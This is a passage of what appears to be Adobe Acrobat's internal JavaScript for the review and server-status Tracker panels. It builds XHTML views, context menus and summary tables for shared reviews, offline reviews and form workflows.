								<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

								<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

							</head>

							<body>

								<h1 class="review-browser-iconic">{ cTitle }</h1>



								<div style={cVisibleWarning}>

									<a style="color: #000000;text-decoration: none" href={cOnlineURL}>

									<div style="padding: 5px; background-color: #FFE4E1;">

										<b>{cAttentionProperty}</b> {cAttentionValue}

									</div>

									</a><br />

								</div>

								<div class="content_offline_detail">

									<dl>

										<dt>{ cTypeProperty }</dt>

										<dd>{ cTypeValue }</dd>



										<dt>{ cURLProperty }</dt>

										<dd><a href={cURLValue}>{ cURLValue }</a></dd>

									</dl>

								</div>

							</body>

							</html>



						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}

				},



				// The Dialog Description

				description:

				{

					name: "Panel",

					elements:					// Child Element Array

					[

						{

							type: "view", 

							align: "align_center",

							align_children: "fill",

							elements: 						// Child Element Array

							[

								{

									type: "html_view", 

									item_id: "html"

								}

							]

						}

					]

				}

			};



			app.beginPriv();

			result.showItemView = app.trustedFunction(result.showItemView);

			result.showFeedView = app.trustedFunction(result.showFeedView);

			app.endPriv();



			return result;

		}),



		getFeedContextMenu: function(selection)

		{

			return null;

		},



		getMultipleSelectContextMenu: function(selection)

		{

			var result = new Array;



			result[result.length] = 

			{

				cName: "Remove",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_REMOVE_MULTIPLE_SELECTED,

				onExecute: function(selection, doc)

				{

					RemoveMultipleSelectedReviews(false);//For Offline Reviews, we just show message as for Participant Reviews

				}

			};



			result[result.length] = { bSeparator: true };



			result[result.length] = 

			{

				cName: "MoveToFolder",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_MOVE_TO_FOLDER,

				oSubMenu: 

				[

					{

						cName: "None",

						cDisplayName: AnnotsString.IDS_REVIEW_PANEL_FOLDER_NONE,

						onExecute: function(selection, doc)

						{

							var reviewIDs = new Array;



							for(var i = 0; i < selection.length; i++)

							{

								var type = selection[i].type;

								

								if(type == "item")

								{

									var item = selection[i].item;

									var extension = item.Extension;

									var reviewID = extension[rmaDocID];

									reviewIDs[reviewIDs.length] = reviewID;

								}

							}



							SetReviewFolderForMultipleReviews(selection[0].feed.URL, reviewIDs, "");

						}

					},

					{

						bSeparator: true

					},

				]

			};

			

			var sendToMenu = result[result.length - 1].oSubMenu;

			var folders = Collab.getReviewFolders(selection[0].feed.URL);//the feed URL for the first selected item works here



			for(var i in folders)

			{

				var origFolderName = folders[i];

				

				if(app.platform == "WIN" || app.platform == "MAC")

				{

					folders[i] = folders[i].replace("&", "&&");//escape actual ampersand

				}

				else if (app.platform == "UNIX")

				{

					folders[i] = folders[i].replace("&", "_");//for underline

					folders[i] = folders[i].replace("_", "__");//escape actual underscore

				}



				sendToMenu[sendToMenu.length] = 

				{

					cName: origFolderName,

					cDisplayName: folders[i],

					onExecute: function(selection, doc)

					{

						var reviewIDs = new Array;



						for(var i = 0; i < selection.length; i++)

						{

							var type = selection[i].type;

							

							if(type == "item")

							{

								var item = selection[i].item;

								var extension = item.Extension;

								var reviewID = extension[rmaDocID];

								reviewIDs[reviewIDs.length] = reviewID;

							}

						}



						SetReviewFolderForMultipleReviews(selection[0].feed.URL, reviewIDs, this.cName);

					}

				};

			}



			return result;

		},



		getItemContextMenu: function(selection)

		{

			var result = 

			[

				{

					cName: "OpenReview",

					cDisplayName: AnnotsString.IDS_ATTACHLAUNCH_OPEN,

					onExecute: function(selection)

					{

						app.launchURL(selection.item.Link);

					}

				},

				{

					bSeparator: true

				},

				{

					cName: "GoBackOnline",

					cDisplayName: AnnotsString.IDS_GO_ONLINE_LABEL_TEXT,

					onExecute: function(selection, doc)

					{

						var docID = selection.item.Extension[rmaDocID];

						Collab.goBackOnline(docID);

					}

				},

				{

					cName: "Remove",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_REMOVE_REVIEW,

					onExecute: function(selection, doc)

					{

						ReviewTrackerRemoveReview(selection.item, "Offline");

					}

				}

			];



			return result;

		},



		getFeedTip: function(selection)

		{

			return selection.feed.Description;

		},



		getItemTip: function(selection)

		{

			var result = AnnotsString.IDS_REVIEW_PANEL_REVIEW_OF_TIP;

			result = result.replace(/{type}/g, AnnotsString.IDS_REVIEW_PANEL_OFFLINE);

			var title = selection.item.Title;

			return result.replace(/{title}/g, title);

		},



		supportsMultipleSelection: function() { return true; },



		isCompatibleForMultipleSelectionWith: function(driverURL)

		{

			if(driverURL == "urn://ns.adobe.com/Acrobat/Tracker/UI/OfflineTracker" || 

			   driverURL == "urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewsSuperGroup" ||

			   driverURL == "urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewTracker")

				return true;

			else

				return false;

		},



		canDeleteFeed: function(selection)

		{

			return false;

		},



		canDeleteFeedWhileMultipleSelect: function(selection)

		{

			return false;

		},



		canDeleteItem: function(selection)

		{

			return true;

		},



		onDeleteItem: function(selection)

		{

			return ReviewTrackerRemoveReview(selection.item, "Offline");

		},

		

		canDeleteItemWhileMultipleSelect: function(selection)

		{

			return true;

		},



		onDeleteItemWhileMultipleSelect: function(selection)

		{

			return ReviewTrackerRemoveReviewWhileMultipleSelect(selection.item, "Offline");

		},



		onDeleteAllMultipleSelected: function(selection)

		{

			RemoveMultipleSelectedReviews(false);//For Offline Reviews, we just show message as for Participant Reviews

		},

	};



	// Server Status UI

	var oServerStatusUI = 

	{

		createContext: app.trustedFunction(function()

		{

			var result =

			{

				//strings

				cLabelServerStatus: AnnotsString.IDS_TRACKER_SERVER_STATUS,

				cTableHeaderServerName: AnnotsString.IDS_TABLE_HEADER_SERVER_NAME,

				cTableHeaderNumActiveFiles: AnnotsString.IDS_TABLE_HEADER_NUM_ACTIVE_FILES,

				cTableHeaderNumErrors: AnnotsString.IDS_TABLE_HEADER_NUM_ERRORS,

				

				nbsp_placeholder: "NBSP_PLACEHOLDER",

				cNone: AnnotsString.IDS_TRACKER_NONE,

				cFileTypeReview: AnnotsString.IDS_TRACKER_SERVER_FILETYPE_REVIEW,

				cFileTypeForm: AnnotsString.IDS_TRACKER_SERVER_FILETYPE_FORM,

				

				cTableHeaderFileName: AnnotsString.IDS_TABLE_HEADER_FILE_NAME,

				cTableHeaderStatus: AnnotsString.IDS_TABLE_HEADER_STATUS,

				cTableHeaderError: AnnotsString.IDS_TABLE_HEADER_ERROR,

				cTableHeaderType: AnnotsString.IDS_TABLE_HEADER_TYPE,

				

				onSelectionChanged: function(dialog)

				{

					if(dialog.isItemSelection()) 

						this.showItemView(dialog);

					else if(dialog.isFeedSelection() || dialog.isGroupSelection())

						this.showFeedView(dialog);

				},

				showFeedView: function(dialog)

				{

					try

					{

						var L = function(s) { return AnnotsString[s]; }

						var LINK = function(scheme, s) { return scheme + ":" + s; }

	

						var selection = dialog.getSelection();

						var feed = dialog.getFeed();

						var extension = feed.Extension;

						var items = feed.Items;

	

						XML.setSettings({ignoreComments: false});

						

						var aServers = [];

						for(var j in items)

						{

							var oServer = items[j];

							var ext = oServer.Extension;

							

							var workflowsOnThisServer = ext[wrkflwServerWorkflows];

							

							var countOfWorkflowsInError = ext[serverErrors];



							var cServerStatus = "status-ok-iconic";

									

							if(countOfWorkflowsInError > 0)

								cServerStatus = "status-issue-iconic";

							

							aServers[aServers.length] =

							{

								cServerLink: LINK("acrobat", "Inbox?container=" + rtNS + "&selectFeed=" + feed.URL + "#" + oServer.Guid),

								cServerName: oServer.Title,

								cServerStatus: cServerStatus,

								nNumErrors: countOfWorkflowsInError,

								nNumActiveFiles: workflowsOnThisServer.length,

							};

						}



						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						var viewXHTML =

							<html xmlns="http://www.w3.org/1999/xhtml">

								<head>

									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

								</head>

							

								<body>

									<div class="bread_crumb">

										{this.cLabelServerStatus} &gt;

									</div>

									

									<div id="pg_serverstatus_summary">

							

										<div class="summary_page">

											<span class="servers-super-iconic"><span style="font-weight:bold;">{this.cLabelServerStatus}</span></span>

											<br />

											<br />

											<div class="borderedDivSummaryPage" id="borderedDivID">

												<table id="tableServers" class="borderedTable" cellpadding="0" cellspacing="0">

													<tr bgcolor={cTableHeaderColor}>

														<th width="60px;"><center>{this.cTableHeaderStatus}</center></th>

														<th>{this.cTableHeaderServerName}</th>

														<th><center>{this.cTableHeaderNumActiveFiles}</center></th>

														<th><center>{this.cTableHeaderNumErrors}</center></th>

													</tr>

												</table>

										    </div>

										</div>

									</div>

								

								</body>

							</html>



						//find the tableServers table element

						var tableServersXHTML = null;

						

						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						for each(var i in viewXHTML..xhtml::table)

						{

							if(i.@id == "tableServers")

							{

								tableServersXHTML = i;

								break;

							}

						}

						//



						var evenOddRow = false;



						for(var index = 0; index < aServers.length; index++)

						{

							var curServer = aServers[index];



							evenOddRow = !evenOddRow;

							var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;

							

							//different rows shall be added to the tableServersXHTML defined below

							var serverXHTML =

								<tr bgcolor={cRowColor}>

									<td><center><span class={curServer.cServerStatus}></span></center></td>

									<td><a href={curServer.cServerLink}><span class="blueLink">{curServer.cServerName}</span></a></td>

									<td><center>{curServer.nNumActiveFiles}</center></td>

									<td><center>{curServer.nNumErrors}</center></td>

								</tr>



							tableServersXHTML.appendChild(serverXHTML);

						}



						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}

					catch(e)

					{

						myReviewTrackerDebugAlert("EXCEPTION: " + e);

						myReviewTrackerDebugAlert(e.stack);

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

					}

				},



				showItemView: function(dialog)

				{

					try

					{

						var L = function(s) { return AnnotsString[s]; }

						var LINK = function(scheme, s) 

							{ return scheme + ":" + s; }

	

						var selection = dialog.getSelection();

						var extension = selection.Extension;

						

						var cServerName = selection.Title;



						var aWorkflows = [];

						

						for(var workflow in extension[wrkflwServerWorkflows])

						{

							var ext = extension[wrkflwServerWorkflows][workflow];

	

							var cWorkflowID = ext[wrkflwID];



							var props =

							{

								cWorkflowName: ext[wrkflwDocTitle],

								cWorkflowType: ext[wrkflwType],

								cWorkflowTypeDisplay: "",

								cWorkflowOpenLink: ext[wrkflwDocLink],

								cWorkflowDeleteLink: ext[wrkflwDeleteLink],

							};



							if(props.cWorkflowType == "Review")

								props.cWorkflowTypeDisplay = this.cFileTypeReview;

							else if(props.cWorkflowType == "Form")

								props.cWorkflowTypeDisplay = this.cFileTypeForm;



							var bWorkflowHasError = ext[wrkflwHasError];

							

							if(bWorkflowHasError == "")

							{

								props.cWorkflowStatus = "status-ok-iconic";

								props.cWorkflowError = this.cNone;

							}

							else

							{

								props.cWorkflowStatus = "status-issue-iconic";

								if(props.cWorkflowType == "Review")

								{

									app.beginPriv();

									props.cWorkflowError = Collab.getReviewError(cWorkflowID);

									app.endPriv();

								}

								else if(props.cWorkflowType == "Form")

								{

									app.beginPriv();

									props.cWorkflowError = FormWorkflow.getFormWorkflowError(cWorkflowID);

									app.endPriv();

								}

							}

							

							if(props.cWorkflowError == undefined)

								props.cWorkflowError = this.cNone;



							aWorkflows[aWorkflows.length] = props;

						}



						XML.setSettings({ignoreComments: false});



						var cTopArrowXHTML = null;

						

						//"Server Status > servername"

						cTopArrowXHTML =

							<div class="bread_crumb">

								<a href={cServersFeedLink}><span class="blueLink">{this.cLabelServerStatus}</span></a> > {cServerName}

							</div>



						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						var viewXHTML =

							<html xmlns="http://www.w3.org/1999/xhtml">

								<head>

									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

								</head>

							

								<body id="body">

									<div>

										<div class="summary_page">

											<span class="servers-super-iconic"><span style="font-weight:bold;">{cServerName}</span></span>

											<br />

											<br />

										</div>

									</div>

									<div class="borderedDivDetailPage">

										<table id="tableWorkflows" class="borderedTable" cellpadding="15" cellspacing="0">

											<tr bgcolor={cTableHeaderColor}>

												<th width="60px;"><center>{this.cTableHeaderStatus}</center></th>

												<th>{this.cTableHeaderFileName}</th>

												<th>{this.cTableHeaderType}</th>

												<th>{this.cTableHeaderError}</th>

											</tr>

										</table>

								    </div>								

								</body>

							</html>



						//get the reference to BODY with ID "body"

						var body = null;

						

						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						for each(var i in viewXHTML..xhtml::body)

						{

							if(i.@id == "body")

							{

								body = i;

								break;

							}

						}

						//

						

						body.prependChild(cTopArrowXHTML);//prepend the Top Arrow XHTML as a child of body



						//find the tableWorkflows table element

						var tableWorkflowsXHTML = null;

						

						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						for each(var i in viewXHTML..xhtml::table)

						{

							if(i.@id == "tableWorkflows")

							{

								tableWorkflowsXHTML = i;

								break;

							}

						}

						//



						var evenOddRow = false;



						for(var index = 0; index < aWorkflows.length; index++)

						{

							var curWorkflow = aWorkflows[index];



							evenOddRow = !evenOddRow;

							var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;

							

							//different rows shall be added to the tableWorkflowsXHTML defined below

							var workflowXHTML =

								<tr bgcolor={cRowColor}>

									<td><center><span class={curWorkflow.cWorkflowStatus}></span></center></td>

									<td><a href={curWorkflow.cWorkflowOpenLink} style="color:#0000FF;">{curWorkflow.cWorkflowName}</a></td>

									<td>{curWorkflow.cWorkflowTypeDisplay}</td>

									<td>{curWorkflow.cWorkflowError}</td>

								</tr>



							tableWorkflowsXHTML.appendChild(workflowXHTML);

						}



						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}

					catch(e)

					{

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

						myReviewTrackerDebugAlert("EXCEPTION: " + e);

						myReviewTrackerDebugAlert(e.stack);

					}

				},



				handleLink: function(dialog, url)

				{

					if(url.indexOf("acrobat:internal?") == 0)

					{

						var params = url.split("?")[1].split("&");

						for(var i in params)

						{

							var a = params[i].split("=");

							switch(a[0])

							{

								case "returnToInitiator":

									Collab.returnToInitiator(a[1]);

									break;

							}

						}

					}

				},



				// The Dialog Description

				description:

				{

					name: "Panel",

					elements:					// Child Element Array

					[

						{

							type: "view", 

							align: "align_center",

							align_children: "fill",

							elements: 						// Child Element Array

							[

								{

									type: "html_view", 

									item_id: "html"

								}

							]

						}

					]

				}

			};



			app.beginPriv();

			result.showItemView = app.trustedFunction(result.showItemView);

			result.showFeedView = app.trustedFunction(result.showFeedView);

			app.endPriv();



			return result;

		}),



		getFeedContextMenu: function(selection)

		{

			var result = new Array;

			

			result[result.length] = 

			{

				cName: "Expand",

				cDisplayName: AnnotsString.IDS_PANEL_EXPAND,

				onExecute: function(selection, doc)

				{

					TrackerExpandSelection();

				},

				

				onEnabled: function(selection, doc)

				{

					return TrackerCanExpandSelection(selection.feed.URL);

				}

			};



			result[result.length] = 

			{

				cName: "Collapse",

				cDisplayName: AnnotsString.IDS_PANEL_COLLAPSE,

				onExecute: function(selection, doc)

				{

					TrackerCollapseSelection();

				},

				

				onEnabled: function(selection, doc)

				{

					return TrackerCanCollapseSelection(selection.feed.URL);

				}

			};

			

			return result;

		},

		

		getItemContextMenu: function(selection) { return null; },



		getFeedTip: function(selection)

		{

			return selection.feed.Description;

		},

		

		getItemTip: function(selection)

		{

			var item = selection.item;

			

			var extension = item.Extension;



			var bAllWorkflowsAreOkay = true;

			

			for(var workflow in extension[wrkflwServerWorkflows])

			{

				var ext = extension[wrkflwServerWorkflows][workflow];



				var bWorkflowHasError = ext[wrkflwHasError];

				

				if(bWorkflowHasError != "")

				{

					bAllWorkflowsAreOkay = false;

					break;

				}

			}

			

			if(bAllWorkflowsAreOkay)

				return AnnotsString.IDS_TRACKER_ALL_WORKFLOWS_ARE_OKAY;

			else

				return AnnotsString.IDS_TRACKER_SOME_WORKFLOWS_ARE_IN_ERROR;

		},



		canDeleteFeed: function(selection) { return false; },

		canDeleteItem: function(selection) { return false; },

	};



	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	// RSS Super Group UI

	var oRSSSuperGroupUI = 

	{

		createContext: app.trustedFunction(function()

		{

			var result =

			{

				//General strings

				cWhatIsTitle: AnnotsString.IDS_RSS_EMPTY_VIEW_TITLE,

				cWhatIsText: CBSetProductVariant(AnnotsString.IDS_RSS_EMPTY_VIEW_BODY),

				cSubscribeToRSSFeedText: AnnotsString.IDS_RSS_SUBSCRIBE_TO_RSS_FEED,



				onSelectionChanged: function(dialog)

				{

					this.showEmptyView(dialog);

				},

				

				showEmptyView: function(dialog)

				{

					try

					{

						var LINK = function(scheme, s) { return scheme + ":" + s; }

		

						var cSubscribeToRSSFeedLink = "acrobat:Inbox?subscribeToRSSFeed=dummy";



						XML.setSettings({ignoreComments: false});



						var viewXHTML = 

							<html xmlns="http://www.w3.org/1999/xhtml">

							<head>

								<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

								<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

							</head>

							<body>

								<div class="summary_page">

									<div>

										<h3>{this.cWhatIsTitle}</h3>

										<p>

											{this.cWhatIsText}

										</p>

									</div>

									

									<div class="buttons">

										<a href={cSubscribeToRSSFeedLink} class="rss-iconic"><span class="blueLink">{this.cSubscribeToRSSFeedText}</span></a>

									</div>

								</div>

							</body>

							</html>



						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}

					catch(e)

					{

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

					}

				},



				// The Dialog Description

				description:

				{

					name: "Panel",

					elements:					// Child Element Array

					[

						{

							type: "view", 

							align: "align_center",

							align_children: "fill",

							elements: 						// Child Element Array

							[

								{

									type: "html_view", 

									item_id: "html"

								}

							]

						}

					]

				}

			};



			app.beginPriv();

			result.showEmptyView = app.trustedFunction(result.showEmptyView);

			app.endPriv();



			return result;

		}),



		getFeedContextMenu: function(selection) { return null; },

		getItemContextMenu: function(selection) { return null; },



		canDeleteFeed: function(selection) { return false; },

		canDeleteItem: function(selection) { return false; },

	};

	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////





	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	// Reviews Super Group UI

	var oReviewsSuperGroupUI = 

	{

		createContext: app.trustedFunction(function()

		{

			var result =

			{

				//General strings

				cIveSent: AnnotsString.IDS_REVIEW_PANEL_MY_REVIEWS,

				cIveReceived: AnnotsString.IDS_REVIEW_PANEL_PARTICIPANT_REVIEWS,

				cOffline: AnnotsString.IDS_REVIEW_PANEL_OFFLINE_DOCS,

				cReviewsSuperGroup: AnnotsString.IDS_TRACKER_REVIEWS_SUPER_GROUP_TITLE,



				onSelectionChanged: function(dialog)

				{

					this.showEmptyView(dialog);

				},

				

				showEmptyView: function(dialog)

				{

					try

					{

						var LINK = function(scheme, s) { return scheme + ":" + s; }



						XML.setSettings({ignoreComments: false});



						app.beginPriv();

						var haveOfflineReviews = Collab.haveOfflineReviews;

						app.endPriv();

						var isReader = app.viewerType == "Reader";



						//display Offline Reviews Link if there are any Offline Reviews

						var cVisibleOfflineReviews = haveOfflineReviews ? "" : "display:none";

						

						//do not display Initiated Reviews Link in Reader

						var cVisibleMyReviews = isReader ? "display:none" : "";

						

						var viewXHTML = 

							<html xmlns="http://www.w3.org/1999/xhtml">

								<head>

									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

								</head>

							

								<body>

									<div class="bread_crumb">

										{this.cReviewsSuperGroup} &gt;

									</div>

									

									<div class="super_group_page">

										<span class="reviews-super-iconic"><span style="font-weight:bold;">{this.cReviewsSuperGroup}</span></span>

										<br />

										<br />

										<p style="line-height:25px;">

											<span style={cVisibleMyReviews}>&#8226; <a href={cReviewsIveSentFeedLink}><span class="blueLink">{this.cIveSent}</span></a> <br /></span>

											<span>&#8226; <a href={cReviewsIveReceivedFeedLink}><span class="blueLink">{this.cIveReceived}</span></a> <br /></span>

											<span style={cVisibleOfflineReviews}>&#8226; <a href={cReviewsOfflineFeedLink}><span class="blueLink">{this.cOffline}</span></a> <br /></span>

										</p>

									</div>

								</body>

							</html>

								

						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}

					catch(e)

					{

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

						myReviewTrackerDebugAlert("EXCEPTION: " + e);

						myReviewTrackerDebugAlert(e.stack);

					}

				},



				// The Dialog Description

				description:

				{

					name: "Panel",

					elements:					// Child Element Array

					[

						{

							type: "view", 

							align: "align_center",

							align_children: "fill",

							elements: 						// Child Element Array

							[

								{

									type: "html_view", 

									item_id: "html"

								}

							]

						}

					]

				}

			};



			app.beginPriv();

			result.showEmptyView = app.trustedFunction(result.showEmptyView);

			app.endPriv();



			return result;

		}),



		getGroupContextMenu: app.trustedFunction(function(selection)

		{

			var result = new Array;

			

			result[result.length] = 

			{

				cName: "Expand",

				cDisplayName: AnnotsString.IDS_PANEL_EXPAND,

				onExecute: function(selection, doc)

				{

					TrackerExpandSelection();

				},

				

				onEnabled: function(selection, doc)

				{

					return TrackerCanExpandSelection(selection.feed.URL);

				}

			};



			result[result.length] = 

			{

				cName: "Collapse",

				cDisplayName: AnnotsString.IDS_PANEL_COLLAPSE,

				onExecute: function(selection, doc)

				{

					TrackerCollapseSelection();

				},

				

				onEnabled: function(selection, doc)

				{

					return TrackerCanCollapseSelection(selection.feed.URL);

				}

			};

			

			return result;

		}),



		canDeleteFeed: function(selection) { return false; },

		canDeleteItem: function(selection) { return false; },

	};

	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	

	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	// Uber Summary UI

	var oUberSummaryUI =

	{

		createContext: app.trustedFunction(function()

		{

			var result =

			{

				onSelectionChanged: function(dialog)

				{

					app.beginPriv();

					var haveCollabWorkflows = Collab.haveReviews;

					var haveFormWorkflows = FormWorkflow.haveFormWorkflows;

					app.endPriv();



					//Do not show empty view for Reader

					if(app.viewerType != "Reader" && haveCollabWorkflows == false && haveFormWorkflows == false)

					{

						this.showEmptyView(dialog);

					}

					else

					{

						this.showFeedView(dialog);

					}

				},



				//strings

				cLatestUpdates: AnnotsString.IDS_TRACKER_LATEST_UPDATES_TITLE,



				cReviewsUpdates: AnnotsString.IDS_TRACKER_REVIEWS_UPDATES,

				cNoReviewsUpdates: AnnotsString.IDS_TRACKER_NO_REVIEWS_UPDATES,



				cFormsUpdates: AnnotsString.IDS_TRACKER_FORMS_UPDATES,

				cNoFormsUpdates: AnnotsString.IDS_TRACKER_NO_FORMS_UPDATES,



				cServerStatus: AnnotsString.IDS_TRACKER_SERVER_STATUS,



				cTableHeaderFileName: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_FILENAME,

				cTableHeaderDeadline: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_DEADLINE,

				cTableHeaderNumberOfComments: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NUM_COMMENTS,

				cTableHeaderNumberOfReviewers: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NUM_REVIEWERS,

				cTableHeaderUnreadByTotal: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_UNREAD_BY_TOTAL,

				cTableHeaderNewByTotal: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NEW_BY_TOTAL,

				cTableHeaderNewByActive: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NEW_BY_ACTIVE,



			    cTableHeaderRespondentsAndNew: getFormsString("IDS_FORMS_TRACKER_TABLE_HEADER_RESPONDENTS"),

			    cTableHeaderTotalRecipients: getFormsString("IDS_FORMS_TRACKER_TABLE_HEADER_TOTAL_RECIPIENTS"),

			    cTableHeaderDistributedOn: getFormsString("IDS_FORMS_TRACKER_TABLE_HEADER_DISTRIBUTED_ON"),

				

				cTableHeaderNumberOfActiveFiles: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NUM_ACTIVE_FILES,

				cTableHeaderNumberOfErrors: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NUM_ERRORS,

				cTableHeaderServerName: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_SERVER_NAME,

				nbsp_placeholder: "NBSP_PLACEHOLDER",



				cUnreadByTotal: AnnotsString.IDS_TRACKER_UNREAD_BY_TOTAL,

				cNewByActive: AnnotsString.IDS_TRACKER_NEW_BY_ACTIVE,



				cNoDeadline: AnnotsString.IDS_SHARED_REVIEW_NO_DEADLINE,

				cUpdated: AnnotsString.IDS_SHARED_REVIEW_DEADLINE_UPDATED,

				//



				formsXHTML: null,

				reviewsXHTML: null,

				

				reviewsSectionHasUpdates: 1,

				formsSectionHasUpdates: 1,

				

				reviewsAggInfo: null,

				formsAggInfo: null,

				

				reviewsSectionFeed: null,

				formsSectionFeed: null,



				aFormsWorkflows: [],//array to hold information of all Forms workflows

				aReviewsWorkflows: [],//array to hold information of all Reviews workflows

				aServersInError: [],//array to hold information of all Servers in error



				setReviewsSectionHasUpdates: function(hasUpdates)

				{

					this.reviewsSectionHasUpdates = hasUpdates;

				},



				setFormsSectionHasUpdates: function(hasUpdates)

				{

					this.formsSectionHasUpdates = hasUpdates;

				},



				updateReviewsXHTML: function(dialog)

				{

						var aggInfo;



						if(this.reviewsAggInfo == null)

						{

							app.beginPriv();

							this.reviewsAggInfo = Collab.getAggregateReviewInfo();//get the aggregate reviews info

							this.reviewsAggInfo.setHandler(this);//set the handler for updates

							app.endPriv();

						}

						

						//get the section feed for reviews

						app.beginPriv();

						aggInfo = this.reviewsAggInfo.sectionFeed();

						app.endPriv();

						//



						var bHasAWorkflowWithTrueUpdates = false;//ie do we have a workflow without errors since we do not display workflows with errors - that will only confuse the user

						this.aReviewsWorkflows = [];//initialize the array to empty

						for(var fileName in aggInfo)

						{

							var fileMap = aggInfo[fileName];



                            var numErrors = fileMap["errors"];

                            

                            if(numErrors == 0)

                            {

							    this.aReviewsWorkflows[this.aReviewsWorkflows.length] =

							    {

								    cFileName: fileName,

								    cFileLink: fileMap["docLink"],

								    nTotalComments: fileMap["totalComments"],

								    nUnreadComments: fileMap["unreadComments"],

								    iLastUpdateTime: fileMap["lastUpdateTime"],

								    nNewReviewers: fileMap["newReviewers"],

								    nActiveReviewers: fileMap["activeReviewers"],

								    cDeadline: fileMap["deadline"],

								    bDeadlineUpdated: fileMap["deadlineUpdated"],

								    nNumberOfErrors: fileMap["errors"],

								    cServerName: fileMap["serverName"],

							    };



							    bHasAWorkflowWithTrueUpdates = true;



							    //if there is no deadline for Shared Review, display "No Deadline"

							    if(this.aReviewsWorkflows[this.aReviewsWorkflows.length - 1].cDeadline == "")

								    this.aReviewsWorkflows[this.aReviewsWorkflows.length - 1].cDeadline = this.cNoDeadline;

    								

							    //if there is a deadline update for a Shared Review, display that in the Deadline column as (Updated)

							    if(this.aReviewsWorkflows[this.aReviewsWorkflows.length - 1].bDeadlineUpdated)

								    this.aReviewsWorkflows[this.aReviewsWorkflows.length - 1].cDeadline += " (" + this.cUpdated + ")";

							}

							else

							{

							    this.aReviewsWorkflows[this.aReviewsWorkflows.length] =

							    {

								    iLastUpdateTime: fileMap["lastUpdateTime"],

								    nNumberOfErrors: fileMap["errors"],

								    cServerName: fileMap["serverName"],

							    };

							}

						}

						

						//save the XHTML in persistent variable - thats what the job of this function is

						if(!bHasAWorkflowWithTrueUpdates)

						{

							//the empty reviews section

							this.reviewsXHTML = 

								<div class="summary_page">

									<span class="reviews-super-iconic"><span style="font-weight:bold;">{this.cReviewsUpdates}</span></span>

									<br />

									<br />

									<span>

										&#8226; {this.cNoReviewsUpdates}

									</span>

									<br />

								</div>

								

							return;//job done

						}



						this.reviewsXHTML =	

							<div xmlns="http://www.w3.org/1999/xhtml" class="summary_page">

								<span class="reviews-super-iconic"><span style="font-weight:bold;">{this.cReviewsUpdates}</span></span>

								<br />

								<br />

								<div class="borderedDivSummaryPage" id="borderedDivID">

							    </div>

							</div>



						//different rows shall be added to the tableXHTML defined below

						var tableXHTML =

								<table id="updatedReviewsList" class="borderedTable" cellpadding="15" cellspacing="0">

									<tr bgcolor={cTableHeaderColor}>

										<th style="padding-left: 10px;">{this.cTableHeaderFileName}</th>

										<th>{this.cTableHeaderDeadline}</th>

